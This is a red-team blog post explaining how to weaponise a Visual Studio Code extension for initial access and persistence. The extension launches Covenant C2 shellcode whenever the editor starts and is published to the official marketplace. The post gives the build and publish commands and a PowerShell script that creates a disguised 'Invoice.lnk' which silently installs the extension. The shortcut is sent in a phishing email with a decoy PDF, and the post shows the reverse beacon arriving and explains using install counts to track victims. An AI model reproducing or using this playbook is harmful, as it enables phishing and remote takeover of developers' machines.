Malicious VS Code plugins: Initial access & persistence

Epayan
6 min readApr 18, 2022

--

I recently came across the technique of using Notepad++ extensions for persistence attack. You can find more about the technique here. This idea struck me with the plan of achieving the same for Visual Studio Code.

Taking forward this idea, I will explore how we can successfully create a VS Code plugin, upload it into the marketplace and use the same for the Spear Phishing campaign.

Developing Malicious VS Code Plugin:

VS Code is one of the popular cross-platform source-code editor made by Microsoft. According to Stack Overflow 2021 Developer Survey, VS Code was ranked the most popular developer environment tool, with 71.06% of 82,227 respondents reporting that they use it.

2021 Developer Survey

Prerequisites:

The main advantage of the VS Code is extending its capabilities through extensions. Extensions help the developer to customize the VS Code to suit personal needs for their projects.

The VS Code extension supports two main languages: typescript and JavaScript. To create a VS Code plugin, we need nodejs and npm yo, generator-code packages.

Note: Since we are focusing on attacking the Windows environment, the dev environment should be the same target OS.

Download and Install nodejs for windows from here. Download and install all the packages using the following commands:

npm i -g yo generator-code vsce
Installing required packages

Create Malicious VS-Code Plugin:

Generate the VS Code plugin template using the Yeoman generator. I used the javascript with npm package manager and python-vscode as a plugin name.

yo code
plugin template using yo

The above command creates the following files:
CHANGELOG.md → logs all the changes to the particular plugin.
.eslintrc.json → configuration file for an ESLIN tool.
extension.js → main javascript file.
.git → folder contains all the information that is necessary for your project in version control
.gitignore → file specifies intentionally untracked files that Git should ignore
jsconfig.json → file specifies the root files and the compiler options required to compile the project.
node_modules → folder contains a cache of the external modules that the project depends on
package.json → same as the main function in C. it holds various metadata relevant to the project.
package-lock.json → automatically generated for any operations where npm modifies either the node_modules tree or package.json
README.md → file contains information about the other files in a directory.
test → folder contains all the testing codes.
vsc-extension-quickstart.md →file contains the quick guide with the next steps
.vscode → folder contains the files that store the setting changes which apply to the particular project.
.vscodeignore → file used to exclude unnecessary files when packaging a VS code extension.

Change the directory to python-vscode and open the package.json in a text editor.

package.json

Activation Events:
As the name implies, it will execute the main file whenever the event matches.

A few important Activation agents are,
onStartupFinished → this activation event activates the main some time after VS Code starts.
* → this activation event activates the main whenever VS Code starts up.
To learn more about the activation event, refer to VS Code Documentation.
language → this activation event activates the main when the file resolves to a certain language gets opened.

To learn more about the activation event, refer to VS Code Documentation.

Change the activationEvents to * which will activate the js file sometimes after VS Code starts up. You can also useonStartupFinished,onLanguage, etc. which will execute commands whenever an activation event happens.

If required change the vs code engine version too(in case the developer is using an older version). The ^1.63.0 means that your extension is compatible with VS Code >=1.63.0 versions. Also change the command too, according to the extension.js file.

Edit package.json

Open the extension.js file, Replace the code with the following code and save it.

extension.js code

Since the current npm repo electron-edge-js package is not compiled for electron 17.2.0 (which is used in the latest vscode), we need to manually compile it on our own. Alternatively, you can install from this repo using the following command.

npm install --save Epayan4/electron-edge-js
Install Electron-edge-js package

To generate the shellcode in base64 format, I used the Covenant C2 shellcode launcher (inbuilt Donot module) with HTTP Listener.

Covenant shellcode launcher

Download the GruntHTTP.bin and convert it to base64 format.

GruntHTTP shellcode — base64 format

Upload to the Marketplace:

To publish extension using vsce, we require a Personal Access Token. so let’s create one for the same.

Sign in to Azure DevOps.
Click on “New Organization” and choose any random name.

Create new organization

Now, Create a new project

Create new project

Click on User Settings → “Personal Access token”. Now click the new “Personal Access token” with “all accessible organization” in Organization and “Full Access” in Scopes.

New personal access token

Copy the personal Access Token. Login into the marketplace using vsce cli.

vsce login <publisherName>

Add the publisher name in the package.jsonand change the README.md file.

Add publisher name

create the vsix file using the vsce package.

vsce package
vsce package

It will generate the *.vsix file, you can install this directly on the target machine by coping it to the target and run the following command.

code --install-extension <vsix file path>

Or directly publish the plugin in the marketplace using

vsce publish
vsce publish

It will take sometime for verifying , once done it will show up in the vscode extension page.

To increase the authenticity of the publisher, you can also become the verified publisher. For more details, refer here.

Installing VS-Code plugin via Phishing:

Create an lnk shortcut file to install our malicious plugin using the following powershell commands.

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("<lnkpath>")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\cmd.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "/c code --install-extension <publisher_id>.<extension name>"
$link.save()
Create lnk shortcut

Now send the phishing mail to convince the user (mainly the developers) to open the Invoice.lnk, along with some decoy Invoice.pdf file. As soon as, the user opens the file, it will install our malicious plugin and got the reverse connection on Grunt Dashboard.

Grunt Activated
Victim machine
Covenant shell

Whenever the user reopens the vscode, which will run our plugin and will triggers the reverse beacon.

Plugin Source Code: https://github.com/Epayan4/malicious_vscode_plugin

One of the advantage of abusing vscode marketplace is it will track the no. of plugin installations. It will be helpful for debugging, in case Grunt beacon is not received.

Total plugin installation
Plugin installation graph by category

Reference:

Thanks suraj, chirag and kunal for peer reviewing this blog before publishing.

:P This is my first blogpost, the feedback and suggestions are always Welcome!

--

--

Epayan

Another security guy, who wanna be a red teammer. Twitter: @nandhhakumarr